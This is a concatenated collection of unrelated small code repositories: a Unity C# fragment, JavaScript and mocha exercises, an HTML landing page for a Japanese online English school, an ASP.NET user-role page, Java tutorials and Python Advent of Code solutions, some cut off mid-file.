// packet -> multiple string -> seperate string
string linkedString;
result &= Deserialize(out linkedString, (int)GetDataSize());
string[] dataSet = linkedString.Split('.');
// input data
data.playerID = dataSet[0];
data.itemID = dataSet[1];
data.itemName = dataSet[2];
// return result
return result;
}
}
<file_sep>using UnityEngine;
using System.Collections;
public class StandardUIForm : MonoBehaviour
{
public virtual void UpdateUIComponent()
{
}
}
<file_sep>using System;
public class CustomVector3
{
float pointX;
float pointY;
float pointZ;
public CustomVector3()
{
}
}
| 3e0337a8a648ce3e1ebb804dd8114fcecfdb0302 | [
"C#"
] | 69 | C# | BaikSeongHyun/ProjectStoreUpgradeGameClient | e902016fd5ce9350d0de3d8bf8bd64c1f8ecc915 | dc98de7db1f7705df2bf2f1b90bf13110f496299 |
refs/heads/master | <repo_name>EshanSaxena/Assignment12.3<file_sep>/README.md
# Assignment12.3
JS code to implement
Write function named map that takes 2 parameters, first is an array and second is a
callback function that accepts single parameter
Map function should iterate on the array and invoke the given callback, capture the
return value into a new array
Upon complete of input array iteration it should return the array that holds the resukt
of applying callback function on every element-
<file_sep>/script.js
//Custom mmap function
function customMap(number, callback){
return number.map(callback);
}
//call to custom map, that has callback function and input array
var capturedValue= customMap([6,7,8],function(x){
return x*2;
});
console.log("New value using custom map function is " + capturedValue); | eb09b8b5f535ebd3839b72abd6e67f8b97fc186a | [
"Markdown",
"JavaScript"
] | 2 | Markdown | EshanSaxena/Assignment12.3 | 8a5aa3f28cc8b9c836b188ca1cb9ccddaaf047b2 | a362ed42e4f5f9c06a073c24aa81957b2a7eeb8c |
refs/heads/master | <repo_name>j2FunOnly/binary_search_mocha_example<file_sep>/test/binarySearchTest.js
const assert = require('assert');
const binarySearch = require('../lib/binarySearch.js');
describe('binarySearch', () => {
const arr = [1, 2, 4, 5, 8];
describe('item found', () => {
it('return index of the item found', () => {
assert.equal(binarySearch(4, arr), 2);
});
it('when in array onr element', () => {
assert.equal(binarySearch(2, [2]), 0);
});
});
describe('return -1 when item not found', () => {
it('empty array', () => {
assert.equal(binarySearch(42, []), -1);
});
it('array without desired item', () => {
assert.equal(binarySearch(3, arr), -1);
});
});
});
<file_sep>/lib/binarySearch.js
// target - искомый элемент, arr - упорядоченный массив, в котором ищем.
function binarySearch(target, arr) {
var head = 0,
tail = arr.length,
middle;
while (head < tail) {
middle = Math.floor((head + tail) / 2);
// На выходе индекс искомого элемента.
if (target === arr[middle]) return middle;
if (target < arr[middle]) {
tail = middle - 1;
} else {
head = middle + 1;
}
}
// Если искомого элемента нет в массиве, то -1.
return -1;
}
module.exports = binarySearch;
| 3a98d4b5c9187319840692c780aab8db4d41e1cc | [
"JavaScript"
] | 2 | JavaScript | j2FunOnly/binary_search_mocha_example | c1d2b425dcb88b71238151b659e85b62aa73b555 | ee6a62224520411e6cac16c65d93d0fffc21ab9d |
refs/heads/master | <repo_name>Evergreen901/HTML_Kummanie<file_sep>/index.html
<!-- HTMLコード -->
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="utf-8">
<meta http-equiv="Content-Script-Type" content="text/javascript" />
<meta http-equiv="Content-Style-Type" content="text/css" />
<title>Kummanie Online School</title>
<meta name="description" content="">
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- <link rel="shortcut icon" href="./assets/img/favicon.ico" /> -->
<!-- css -->
<link rel="stylesheet" href="./assets/css/theme.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<!-- javascript -->
<script src="./libs/jquery/jquery-3.4.1.min.js"></script>
</head>
<body>
<header class="page-header">
</header>
<section class="section section--mainview">
<div class="mainview-title">
<div class="video-container">
<video class="video" controls poster="./assets/img/main-image.png" type="video/mp4" playsinline>
<source src="./assets/Kummanie PV.mp4">
</video>
</div>
</div>
<figure class="logo-img"><img class="img" src="./assets/img/logo.png"/></figure>
<figure class="back-img1"><img class="img" src="./assets/img/back-image1.png"/></figure>
<figure class="back-img2"><img class="img" src="./assets/img/back-image1.png"/></figure>
<figure class="back-img3"><img class="img" src="./assets/img/back-image13.png"/></figure>
<figure class="back-img4"><img class="img" src="./assets/img/back-image3.png"/></figure>
<figure class="back-img5"><img class="img" src="./assets/img/back-image4.png"/></figure>
<figure class="back-img6"><img class="img" src="./assets/img/back-image4.png"/></figure>
<figure class="back-img7"><img class="img" src="./assets/img/back-image3.png"/></figure>
</section>
<section class="section section--overview">
<div class="section__content">
<h1 class="section__title">新しい英語学習システム</h1>
<figure class="section__logo">
<img class="img" src="./assets/img/logo2.png"/>
</figure>
<p class="text">Kummanie Online Lesson は高校・大学入試・各種英語テストに向けて、より効果的に効率よく「スピーキング」「ライティング」対策ができるオンラインによる英語学習システムです。<br>
従来の英会話の授業とは違う、また文法や英訳練習ともちがう新しい形の学習システムです。より難易度の高いレベルを目指す方、帰国子女にも対応しています。<br><br>
高校・大学入試改革により、英語入試も大きく変化し、以前の「読む」「聞く」だけの英語から「話す」「書く」を含めた4 技能の英語コミュニケーション力を求められるようになりました。さらにその中で、「どれが正解かを選ぶ」や「文章の中から当てはまるものを抜き出す」というパターンの問題ではなく「あなたの意見を述べなさい」というように自己表現力を試される問題へ変化しています。<br><br>
Kummanie Online Lesson では「話す」「書く」をネイティブの指導のもとで「本当に使える英語」の能力を高めていける学習システムです。さらに、日常英会話の練習ではなく、教材に向き合い、思考しながら英語で表現する訓練をしますので、単純な英語の受け答えではなく、より思考を深め、広げることが出来るようになります。
</p>
</div>
</section>
<section class="section section--points">
<div class="section__itemlist">
<div class="section__item image-right">
<div class="item-container">
<div class="item-title">
<p class="text">01</p>
</div>
<h2 class="item-sub-title">日本語への訳し落としはしない</h2>
<div class="item-content">
<p class="text">英語を聞き、英語で理解し、英語で答える、の英語能力を身につけます。<br>
日本語を書いてからの翻訳は時間的ロスが多く、実際に英語を会話として話す際も、入試問題を解答する際にも時間切れになります。<br>
まずは細かな文法よりも英語を全体としてとらえることが出来る能力を身につけます。英語頭を鍛え、英語には英語で反応する能力を鍛えます。
</p>
</div>
</div>
<figure class="figure">
<img class="img" src="./assets/img/back-image6.jpg"/>
</figure>
</div>
<div class="section__item image-left">
<figure class="figure">
<img class="img" src="./assets/img/back-image7.jpg"/>
</figure>
<div class="item-container">
<div class="item-title">
<p class="text">02</p>
</div>
<h2 class="item-sub-title">ネイティブ講師との<br class="sp">マンツーマン指導</h2>
<div class="item-content">
<p class="text">教材を前もって学習することを前提としています。ネイティブ講師の指導に向けて、事前に自分の意見を整理し、主張への理由、理論を練っておいてください。<br>
そして、学校でせっかく習った英文法、イディオム、構文は実際にネイティブたちに通じるのか、ほかに良い伝え方があるのかなど、ネイティブ講師から実際に指導をうけ、通じる英語を学習します。
</p>
</div>
</div>
</div>
<div class="section__item image-right">
<div class="item-container">
<div class="item-title">
<p class="text">03</p>
</div>
<h2 class="item-sub-title">入試出題領域・分野を出題 </h2>
<div class="item-content">
<p class="text">課題は入試・英検を含めた英語試験に多く出題される分野にフォーカスしているため、効率よく学習できます。入試問題や英語試験を分析し、出題傾向が多い、自然科学や文化比較などの領域を多数用意しています。中学生の高校入試対応型問題・英検などの対策にも十分対応できます。<br>
英検 3 級~準 1 級程度まで、中学生~高校生・一般まで幅広く対応できます。
</p>
</div>
</div>
<figure class="figure">
<img class="img" src="./assets/img/back-image8.jpg"/>
</figure>
</div>
<div class="section__item image-left">
<figure class="figure">
<img class="img" src="./assets/img/back-image9.jpg"/>
</figure>
<div class="item-container">
<div class="item-title">
<p class="text">04</p>
</div>
<h2 class="item-sub-title">教材レベル・継続率</h2>
<div class="item-content">
<p class="text">英検 3 級レベルからスタートすることが出来ます。<br>
英語レベルだけではなく、出題される内容も簡単なものから深い思考を求められるものまで4 段階レベルを用意しています。<br>
各レベル2回ずつレベルアップテストを実施して、成果を試せる仕組みになっています。<br>
また、入試や英検などの資格試験を目指す生徒が多く利用しており、ほとんどの生徒が目標達成まで継続してくれています。2, 3 か月でもかなりの成果が上げられたと実感してもらえています。
</p>
</div>
</div>
</div>
<figure class="back-img1"><img class="img" src="./assets/img/back-image1.png"/></figure>
<figure class="back-img2"><img class="img" src="./assets/img/back-image14.png"/></figure>
<figure class="back-img3"><img class="img" src="./assets/img/back-image14.png"/></figure>
<figure class="back-img4"><img class="img" src="./assets/img/back-image2.png"/></figure>
<figure class="back-img5"><img class="img" src="./assets/img/back-image14.png"/></figure>
<figure class="back-img6"><img class="img" src="./assets/img/back-image1.png"/></figure>
<figure class="back-img7"><img class="img" src="./assets/img/back-image1.png"/></figure>
<figure class="back-img8"><img class="img" src="./assets/img/back-image14.png"/></figure>
<figure class="back-img9"><img class="img" src="./assets/img/back-image14.png"/></figure>
</div>
</section>
<section class="section section--flow">
<div class="section-container">
<div class="section__title">
<h1 class="title">FLOW
<span class="sub-title">Kummanie Online Lessonの流れ</span>
</h1>
</div>
<div class="section__item">
<div class="item-title">
<p class="text">専用のアプリをダウンロード</p>
</div>
<figure class="back-img">
<img class="img" src="./assets/img/flow-image1.png"/>
</figure>
<p class="text">専用のアプリから授業前までに教材を確認してください。<br>
出題された問いへの解答を直接アプリ画面へタイプインして提出してください。<br>
過去に解答した教材も管理されており、繰り返し学習することが可能です。
</p>
</div>
<div class="item-seperator">
<figure class="figure">
<img class="img" src="./assets/img/flow-next.png"/>
</figure>
</div>
<div class="section__item">
<div class="item-title">
<p class="text">アプリから次回出題問題を確認</p>
</div>
<figure class="back-img">
<img class="img" src="./assets/img/flow-image2.png"/>
</figure>
<p class="text">次回の出題問題を確認し、次回のレッスンまでの空いた時間に自分の意見・主張を整理します。意見をはっきりさせておくことと、それに対する理由付けが大切になります。<br>
この間には辞書や様々なツールを使って情報を集め、問題提示のあった事柄について知識を広げておくことが大切です。
</p>
</div>
<div class="item-seperator">
<figure class="figure">
<img class="img" src="./assets/img/flow-next.png"/>
</figure>
</div>
<div class="section__item">
<div class="item-title">
<p class="text">授業前準備</p>
</div>
<figure class="back-img">
<img class="img" src="./assets/img/flow-image3.png"/>
</figure>
<p class="text">出題される課題は、より深い思考を求めるように出題されています。前もって教材に向き合い、思考しながら英語で表現するように訓練します。<br>
塾の自習時間や空き時間を有効に使い、次のオンラインレッスンまでに考えを整理しておくようにします。
</p>
</div>
<div class="item-seperator">
<figure class="figure">
<img class="img" src="./assets/img/flow-next.png"/>
</figure>
</div>
<div class="section__item">
<div class="item-title">
<p class="text">20分オンラインネイティブ講師との<br>マンツーマン講座</p>
</div>
<figure class="back-img">
<img class="img" src="./assets/img/flow-image4.png"/>
</figure>
<p class="text">アプリからの専用回線によってネイティブの先生とつなぎます。<br>
オンラインのため場所の移動は最小限、20 分なので課題や他の教科の勉強の時間を心配することもありません。さらにマンツーマンなので自分に合ったレベルから始められます。<br>
ネイティブとの簡単な会話でウォーミングアップの後、さっそく課題指導へ。<br>
提出された解答にネイティブ講師からのコメントやアドバイスをもらいます。すべて英語で行い、英語を日本語に訳さずに「話す」練習で自分の進歩にきっと驚きます。
</p>
</div>
</div>
<figure class="back-img1"><img class="img" src="./assets/img/back-image1.png"/></figure>
<figure class="back-img2"><img class="img" src="./assets/img/back-image4.png"/></figure>
<figure class="back-img3"><img class="img" src="./assets/img/back-image4.png"/></figure>
<figure class="back-img4"><img class="img" src="./assets/img/back-image13.png"/></figure>
<figure class="back-img5"><img class="img" src="./assets/img/back-image1.png"/></figure>
<figure class="back-img6"><img class="img" src="./assets/img/back-image4.png"/></figure>
</section>
<section class="section section--casestudy">
<div class="section-container">
<div class="section__title">
<h1 class="title">CASE STUDY
<span class="sub-title">導入事例</span>
</h1>
</div>
<div class="section__item">
<div class="item-title">
<p class="text">阿部塾</p>
</div>
<figure class="back-img">
<img class="img" src="./assets/img/back-image10.jpg"/>
</figure>
<p class="text">英検対策に困り導入しました。4技能のうち、特にリスニング、ライティングの対策に困りました。<br>
このクマニーでは、世間話もそうですが、レベルが上になると環境問題のような新聞記事に掲載されていることについて話をします。内容もレベルの高いものになっていますが、英会話初心者の生徒に対しては、ゆっくり発音するなどいろんな対応をしてくれる面もあり非常に助かっています。現在、阿部塾では、高校生の50%の生徒が使ってくれています。英検受検者も増え、合格者も増加しています。<br>
英検合格者が増えたことにより、英検利用入試の受験者も増え、合格を勝ち取っている生徒も増えています。
</p>
</div>
<div class="section__item">
<div class="item-title">
<p class="text">三遠ネオフェニックス寺園選手</p>
</div>
<figure class="back-img">
<img class="img" src="./assets/img/back-image11.jpg"/>
</figure>
<p class="text">英会話を受講した感想は本当に毎回のオンラインレッスンが楽しく勉強になってます。<br>
昨シーズンまで外国人選手と全然話す勇気がなく会話することがあまりなかったですが、今シーズンはレッスンのおかげで外国人選手とプライベートな会話も積極的にできるようになりました。<br>
英語が話せるようになるには会話するということが一番大事だなと感じてます。<br>
I’m always grateful.
</p>
</div>
</div>
<figure class="back-img1"><img class="img" src="./assets/img/back-image1.png"/></figure>
<figure class="back-img2"><img class="img" src="./assets/img/back-image4.png"/></figure>
<figure class="back-img3"><img class="img" src="./assets/img/back-image4.png"/></figure>
<figure class="back-img4"><img class="img" src="./assets/img/back-image4.png"/></figure>
</section>
<section class="section section--faq">
<div class="section__title">
<h1 class="title">FAQ
<span class="sub-title">よくある質問</span>
</h1>
</div>
<div class="section__itemlist">
<div class="section__item">
<div class="item-title">
<p class="strong-text">Q.</p>
<p class="text">ちゃんと導入できるか不安です。</p>
</div>
<div class="item-content">
<p class="strong-text">A.</p>
<p class="text">アプリの導入からサポートします。</p>
</div>
</div>
<div class="section__item">
<div class="item-title">
<p class="strong-text">Q.</p>
<p class="text">導入特典はありますか?</p>
</div>
<div class="item-content">
<p class="strong-text">A.</p>
<p class="text">1ヶ月の体験レッスンを実施します。</p>
</div>
<div class="item-detail-text">
<p class="text">基本的には塾に導入していただくので、その1ヶ月の間に生徒に体験してもらい受講者を募集していただけるようにしています。</p>
</div>
</div>
<div class="section__item">
<div class="item-title">
<p class="strong-text">Q.</p>
<p class="text">クマニーを受講する推奨環境を教えてください。</p>
</div>
<div class="item-content">
<p class="strong-text">A.</p>
<p class="text">iOS 11.0以降のスマートフォンまたはタブレット端末、インターネット環境 (wifi環境を推奨)</p>
</div>
</div>
<div class="section__item">
<div class="item-title">
<p class="strong-text">Q.</p>
<p class="text">クマニーの受講可能時間を教えてください。</p>
</div>
<div class="item-content">
<p class="strong-text">A.</p>
<p class="text">月曜日〜金曜日 13:00〜21:00 (最終レッスンスタート)毎週固定曜日、固定時間となります。</p>
</div>
</div>
</div>
<figure class="back-img1"><img class="img" src="./assets/img/back-image13.png"/></figure>
<figure class="back-img2"><img class="img" src="./assets/img/back-image1.png"/></figure>
<figure class="back-img3"><img class="img" src="./assets/img/back-image4.png"/></figure>
</section>
<section class="section section--banner">
<div class="button-group">
<p class="text">お気軽にご相談ください。</p>
<a class="button" href="#btn-contact">導入費用・特典</a>
</div>
<figure class="back-img">
<img class="img" src="./assets/img/back-image12.png"/>
</figure>
</section>
<section class="section section--flow--details">
<div class="section-container">
<div class="section__title">
<h2 class="text">お問い合わせから導入までの流れ</h2>
</div>
<div class="section__itemlist">
<div class="section__item">
<figure class="title-image">
<img class="img" src="./assets/img/item-image1.png"/>
</figure>
<p class="item-title">お問い合わせ</p>
<p class="item-content">メールまたはお電話でお問い合わせください</p>
</div>
<div class="item-seperator">
<figure class="figure">
<img class="img" src="./assets/img/item-next.png"/>
</figure>
</div>
<div class="section__item">
<figure class="title-image">
<img class="img" src="./assets/img/item-image2.png"/>
</figure>
<p class="item-title">ご説明</p>
<p class="item-content">直接お会いして、丁寧にご説明させていただきます。<br>
(エリアによっては、お電話やskypeでのご対応となる場合がございます)
</p>
</div>
<div class="item-seperator">
<figure class="figure">
<img class="img" src="./assets/img/item-next.png"/>
</figure>
</div>
<div class="section__item">
<figure class="title-image">
<img class="img" src="./assets/img/item-image3.png"/>
</figure>
<p class="item-title">弊社ご見学</p>
<p class="item-content">希望者には、ご見学を受け付けております。お気軽にお申し付けください</p>
</div>
<div class="item-seperator">
<figure class="figure">
<img class="img" src="./assets/img/item-next.png"/>
</figure>
</div>
<div class="section__item">
<figure class="title-image">
<img class="img" src="./assets/img/item-image4.png"/>
</figure>
<p class="item-title">研修</p>
<p class="item-content">導入開始前の研修を行います。現地研修の場合は、別途交通費が必要となります。</p>
</div>
<div class="item-seperator">
<figure class="figure">
<img class="img" src="./assets/img/item-next.png"/>
</figure>
</div>
<div class="section__item">
<figure class="title-image">
<img class="img" src="./assets/img/item-image5.png"/>
</figure>
<p class="item-title">導入開始</p>
<p class="item-content">準備が整ったら、導入開始となります。<br>
導入開始後も、フォローがありますので安心して導入していただけます。
</p>
</div>
</div>
</div>
</section>
<section class="section section--contact">
<div class="section-container">
<p class="check">
<label class="checkbox-label">個人情報保護方針に同意する
<input type="checkbox">
<span class="checkbox-mark"></span>
</label>
</p>
<a class="button" href="https://n-international.com/#contact" id="btn-contact">お問い合わせ内容を送信する</a>
</div>
</section>
<footer class="page-footer">
<div class="footer-bottom">
<p class="copyright">ANNIE. GLOBAL EDUCATION 本部校 </p>
</div>
</footer>
</body>
</html><file_sep>/assets/js/theme.js
jQuery(function($){
$(document).ready(function(){
if ($(window).scrollTop() >= 1) {
$('.page-header').addClass('header-sticky');
} else {
$('.page-header').removeClass('header-sticky');
}
});
$(window).scroll(function(){
if ($(window).scrollTop() >= 1) {
$('.page-header').addClass('header-sticky');
} else {
$('.page-header').removeClass('header-sticky');
}
});
$('.nav-open').off('click').on('click', function(){
if($('body').hasClass('nav-opened'))
$('body').removeClass('nav-opened');
else
$('body').addClass('nav-opened');
});
$('.submenu-opener').off('click').on('click', function(){
if(!$(this).hasClass('opened')) {
$(this).next('.menu-popup').slideDown();
$(this).addClass('opened');
} else {
$(this).next('.menu-popup').slideUp();
$(this).removeClass('opened');
}
});
$('.with-sidebar .sidebar .archive .archive__list .item .title').off('click').on('click', function(){
if(!$(this).hasClass('expanded')) {
$(this).addClass('expanded');
} else {
$(this).removeClass('expanded');
}
});
$('body > header > div > div.nav-wrapper > ul > li:nth-child(1)').on('click', function() {
$('body').removeClass('nav-opened');
});
$('.ym-selector').on('change', function() {
console.log( this.value );
$('.y-value').val(this.value.substr(-8, 4));
$('.m-value').val(this.value.substr(-3, 2));
});
});
var $animation_elements = $('.animation-element');
var $window = $(window);
function check_if_in_view() {
var window_height = $window.height();
var window_top_position = $window.scrollTop();
var window_bottom_position = (window_top_position + window_height);
$.each($animation_elements, function() {
var $element = $(this);
var element_height = $element.outerHeight();
var element_top_position = $element.offset().top;
var element_bottom_position = (element_top_position + element_height);
//check to see if this current container is within viewport
if ((element_bottom_position >= window_top_position) &&
(element_top_position <= window_bottom_position)) {
$element.addClass('in-view');
} else {
$element.removeClass('in-view');
}
});
}
$window.on('scroll resize', check_if_in_view);
$window.trigger('scroll');
$('.header-inner .nav li a').click(function (){
var id_txt = "#" + $(this).text();
$('html, body').animate({
scrollTop: $(id_txt).offset().top - 80
}, 1000);
}); | 6aa63da9a87f82eaadae39b7cea5bdaf300903ae | [
"JavaScript",
"HTML"
] | 2 | HTML | Evergreen901/HTML_Kummanie | 83df59d27936cd862a3866b832c676efb334e032 | 92722171c122b454fbbc8634273462222253f238 |
refs/heads/master | <file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Web.Security;
using System.Data;
using System.Configuration;
using System.Data.SqlClient;
namespace myFavpasTime
{
public partial class Home : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (!this.IsPostBack)
{
if (!this.Page.User.Identity.IsAuthenticated)
{
Response.Redirect("~/Login.aspx");
}
if (this.Page.User.IsInRole("Administrator"))
{
pnlAssignRoles.Visible = true;
gvUsers.DataSource = GetData("SELECT UserId, Username, RoleId FROM Users");
gvUsers.DataBind();
}
}
}
private DataTable GetData(string query)
{
string constr = ConfigurationManager.ConnectionStrings["constr"].ConnectionString;
using (SqlConnection con = new SqlConnection(constr))
{
using (SqlCommand cmd = new SqlCommand(query))
{
cmd.CommandType = CommandType.Text;
cmd.Connection = con;
using (SqlDataAdapter sda = new SqlDataAdapter(cmd))
{
DataTable dt = new DataTable();
sda.Fill(dt);
return dt;
}
}
}
}
protected void OnRowDataBound(object sender, GridViewRowEventArgs e)
{
if (e.Row.RowType == DataControlRowType.DataRow)
{
DropDownList ddlRoles = (e.Row.FindControl("ddlRoles") as DropDownList);
ddlRoles.DataSource = GetData("SELECT RoleId, RoleName FROM Roles");
ddlRoles.DataTextField = "RoleName";
ddlRoles.DataValueField = "RoleId";
ddlRoles.DataBind();
string assignedRole = (e.Row.DataItem as DataRowView)["RoleId"].ToString();
ddlRoles.Items.FindByValue(assignedRole).Selected = true;
}
}
protected void UpdateRole(object sender, EventArgs e)
{
GridViewRow row = ((sender as Button).NamingContainer as GridViewRow);
int userId = int.Parse((sender as Button).CommandArgument);
int roleId = int.Parse((row.FindControl("ddlRoles") as DropDownList).SelectedItem.Value);
string constr = ConfigurationManager.ConnectionStrings["constr"].ConnectionString;
using (SqlConnection con = new SqlConnection(constr))
{
using (SqlCommand cmd = new SqlCommand("UPDATE Users SET RoleId = @RoleId WHERE UserId = @UserId"))
{
cmd.Parameters.AddWithValue("@UserId", userId);
cmd.Parameters.AddWithValue("@RoleId", roleId);
cmd.CommandType = CommandType.Text;
cmd.Connection = con;
con.Open();
cmd.ExecuteNonQuery();
con.Close();
}
}
}
}
} | a830668c64043b8ce05e51b1fc9b9890653e5b9f | [
"C#"
] | 1 | C# | asish312/favPassTime | 11674360195eb19d7b2f7747a025a72b72637562 | 103bb89c95b01add975ca56fb7d2ce8d8e4caa05 |
refs/heads/main | <file_sep>abstract class abstractClass1{
public abstract void myMethod();
}
public class abstractMethod extends abstractClass1{
public void myMethod(){
System.out.println("This is abstract method");
}
/*abstract class can only be accessed by inheritance.
It cannot be accessed by creating objects of abstract class*/
public static void main(String args[]){
abstractMethod ob = new abstractMethod();
ob.myMethod();
}
}
<file_sep>public class conditionals {
public static void main(String args[]){
//Conditional statements
int a = 6, b = 7;
if(a<b){
System.out.println("Hello");
}
else if(a==b){
System.out.println("World");
}
else{
System.out.println("None");
}
String c = (a<b)?"Hello":"World";
while(a<b){
System.out.println("Less than");
}
for(int i =0; i<5; i++){
System.out.println("Done");
}
do {
System.out.println("First");
}
while (a<b);{
System.out.println("Next");
}
int h = 1;
switch(h){
case 1:
System.out.println("First");
break;
case 2:
System.out.println("Second");
break;
case 3:
System.out.println("Third");
break;
}
}
}
<file_sep>
import java.util.ArrayList;
import java.util.Collections;
public class ArrayListDemo {
public static void main(String args[]){
ArrayList<Integer> numbers = new ArrayList<Integer>();
numbers.add(5);
numbers.add(15);
numbers.add(25);
numbers.add(35);
System.out.println("List of all the digits");
System.out.println(numbers);
Collections.sort(numbers);
System.out.println("Sorted List of all the digits");
System.out.println(numbers);
numbers.remove(1);
System.out.println("Sorted List of all the digits after removal");
System.out.println(numbers);
int a = numbers.size();
System.out.println("Size of the ArrayList");
System.out.println(a);
//numbers.clear();
}
}
<file_sep>
import java.util.Date;
public class DateAndTime{
public static void main(String ags[]){
Date dt = new Date();
}
} | b46b51becd648b66d00283d9c69d4f698fde6321 | [
"Java"
] | 4 | Java | aahlad2000/Java-Topics | 10ee6b09ef78b92aa6601577c080c2244ccd613a | 95015830ffc1155970038e1cb58ce2e3e6620125 |
refs/heads/master | <file_sep>def differInOneChar(sequence1, sequence2):
diffCount = 0
for idx in range(len(sequence1)):
if sequence1[idx] != sequence2[idx]:
diffCount += 1
return diffCount == 1
inputFile = open('input', 'r')
inputIDs = inputFile.readlines()
inputFile.close()
for line in inputIDs:
for line2 in inputIDs:
if line == line2:
continue
if differInOneChar(line, line2):
print(''.join([x for idx, x in enumerate(line) if line[idx] == line2[idx]]))
exit(0)
<file_sep>letterAIdx = len('Step ')
letterBIdx = len('Step X must be finished before step ')
inputFile = open('input', 'r')
instructions = inputFile.readlines()
inputFile.close()
prerequisites = {}
for dependency in instructions:
if dependency[letterBIdx] not in prerequisites:
prerequisites[dependency[letterBIdx]] = [dependency[letterAIdx]]
else:
prerequisites[dependency[letterBIdx]] += dependency[letterAIdx]
if dependency[letterAIdx] not in prerequisites:
prerequisites[dependency[letterAIdx]] = []
workersFree = 5
seconds = 0
jobWillBeDone = []
while True:
while seconds in [x[0] for x in jobWillBeDone]:
workersFree += 1
finishedStep = [x for x in jobWillBeDone if x[0] == seconds][0]
jobWillBeDone = [x for x in jobWillBeDone if x != finishedStep]
for key in prerequisites:
prerequisites[key] = [x for x in prerequisites[key] if x != finishedStep[1]]
availableSteps = sorted([step for step in prerequisites.keys() if prerequisites[step] == []])
while availableSteps != [] and workersFree > 0:
step = availableSteps[0]
workersFree -= 1
jobWillBeDone.append([seconds + ord(step) - ord('A') + 60 + 1, step])
del availableSteps[0]
del prerequisites[step]
if len(prerequisites) == 0 and workersFree == 5:
break
seconds += 1
print(seconds)
<file_sep>def containsExactlyN(sequence, N):
for letter in sequence:
if sequence.count(letter) == N:
return True
return False
inputFile = open('input', 'r')
inputIDs = inputFile.readlines()
inputFile.close()
exactlyTwoCount = 0
exactlyThreeCount = 0
for line in inputIDs:
if containsExactlyN(line, 2):
exactlyTwoCount += 1
if containsExactlyN(line, 3):
exactlyThreeCount += 1
print(exactlyTwoCount * exactlyThreeCount)
<file_sep>import re
polarityDifference = ord('a') - ord('A')
def collapsePolymer(inputPolymer):
reactedPolymer = inputPolymer
while True:
inputPolymer = reactedPolymer
for char in range(ord('A'), ord('Z') + 1):
reactedPolymer = re.sub(r'(' + chr(char) + chr(char + polarityDifference) + r'|' + chr(char + polarityDifference) + chr(char) + r')', '', reactedPolymer)
if len(reactedPolymer) == len(inputPolymer):
break
return reactedPolymer
inputFile = open('input', 'r')
inputPolymer = inputFile.read().strip()
inputFile.close()
minimumLength = len(inputPolymer)
for char in range(ord('A'), ord('Z') + 1):
reducedPolymer = re.sub(r'(' + chr(char) + r'|' + chr(char + polarityDifference) + r')', '', inputPolymer)
collapsedPolymerLength = len(collapsePolymer(reducedPolymer))
if collapsedPolymerLength < minimumLength:
minimumLength = collapsedPolymerLength
print(minimumLength)
<file_sep>letterAIdx = len('Step ')
letterBIdx = len('Step X must be finished before step ')
inputFile = open('input', 'r')
instructions = inputFile.readlines()
inputFile.close()
prerequisites = {}
for dependency in instructions:
if dependency[letterBIdx] not in prerequisites:
prerequisites[dependency[letterBIdx]] = [dependency[letterAIdx]]
else:
prerequisites[dependency[letterBIdx]] += dependency[letterAIdx]
if dependency[letterAIdx] not in prerequisites:
prerequisites[dependency[letterAIdx]] = []
while len(prerequisites) != 0:
availableSteps = sorted([step for step in prerequisites.keys() if prerequisites[step] == []])
step = availableSteps[0]
print(step, end='')
del prerequisites[step]
for key in prerequisites:
prerequisites[key] = [x for x in prerequisites[key] if x != step]
<file_sep>import re
inputFile = open('input', 'r')
inputPolymer = inputFile.read().strip()
inputFile.close()
polarityDifference = ord('a') - ord('A')
reactedPolymer = inputPolymer
while True:
inputPolymer = reactedPolymer
for char in range(ord('A'), ord('Z') + 1):
reactedPolymer = re.sub(r'(' + chr(char) + chr(char + polarityDifference) + r'|' + chr(char + polarityDifference) + chr(char) + r')', '', reactedPolymer)
if len(reactedPolymer) == len(inputPolymer):
break
print(len(reactedPolymer))
<file_sep># 404 players; last marble is worth 71852 points
PLAYER_COUNT = 404
LAST_MARBLE_WORTH = 71852
playerScores = [0 for _ in range(PLAYER_COUNT)]
placedMarbles = [0]
currentMarble = 0
for marbleID in range(1, LAST_MARBLE_WORTH + 1):
prevLength = len(placedMarbles)
if marbleID % 23 == 0:
playerScores[marbleID % PLAYER_COUNT - 1] += marbleID + placedMarbles[(currentMarble - 7) % prevLength]
del placedMarbles[(currentMarble - 7) % prevLength]
currentMarble = (currentMarble - 7) % prevLength
else:
placedMarbles = placedMarbles[: (currentMarble + 1) % prevLength + 1] + [marbleID] + placedMarbles[(currentMarble + 1) % prevLength + 1 :]
currentMarble = (currentMarble + 1) % prevLength + 1
print(max(playerScores))
<file_sep>def getDistancesSum(x, y):
distancesSum = 0
for location in inputCoordinates:
distancesSum += abs(x - location[0]) + abs(y - location[1])
return 1 if distancesSum < 10000 else 0
inputFile = open('input', 'r')
inputCoordinates = inputFile.readlines()
inputFile.close()
inputCoordinates = [[int(x[: x.find(',')]), int(x[x.find(',') + 2 : x.find('\n')])] for x in inputCoordinates]
gridMaxX = max(inputCoordinates, key = lambda x: x[0])[0]
gridMaxY = max(inputCoordinates, key = lambda x: x[1])[1]
safeDistances = []
for y in range(gridMaxY + 1):
row = []
for x in range(gridMaxX + 1):
row.append(getDistancesSum(x, y))
safeDistances.append(row)
print(sum([sum(row) for row in safeDistances]))
<file_sep>def getNearestLocation(x, y):
minDistance = gridMaxX + gridMaxY
minDistanceLocationID = -1
border = False
for idx, location in enumerate(inputCoordinates):
distance = abs(x - location[0]) + abs(y - location[1])
if distance < minDistance:
minDistance = distance
minDistanceLocationID = idx
border = False
elif distance == minDistance:
border = True
if border:
return -1
else:
return minDistanceLocationID
def finite(idx):
borders = nearestLocations[0] + nearestLocations[-1] + [row[0] for row in nearestLocations] + [row[-1] for row in nearestLocations]
if idx in borders:
return False
else:
return True
inputFile = open('input', 'r')
inputCoordinates = inputFile.readlines()
inputFile.close()
inputCoordinates = [[int(x[: x.find(',')]), int(x[x.find(',') + 2 : x.find('\n')])] for x in inputCoordinates]
gridMaxX = max(inputCoordinates, key = lambda x: x[0])[0]
gridMaxY = max(inputCoordinates, key = lambda x: x[1])[1]
nearestLocations = []
for y in range(gridMaxY + 1):
row = []
for x in range(gridMaxX + 1):
row.append(getNearestLocation(x, y))
nearestLocations.append(row)
largestArea = -1
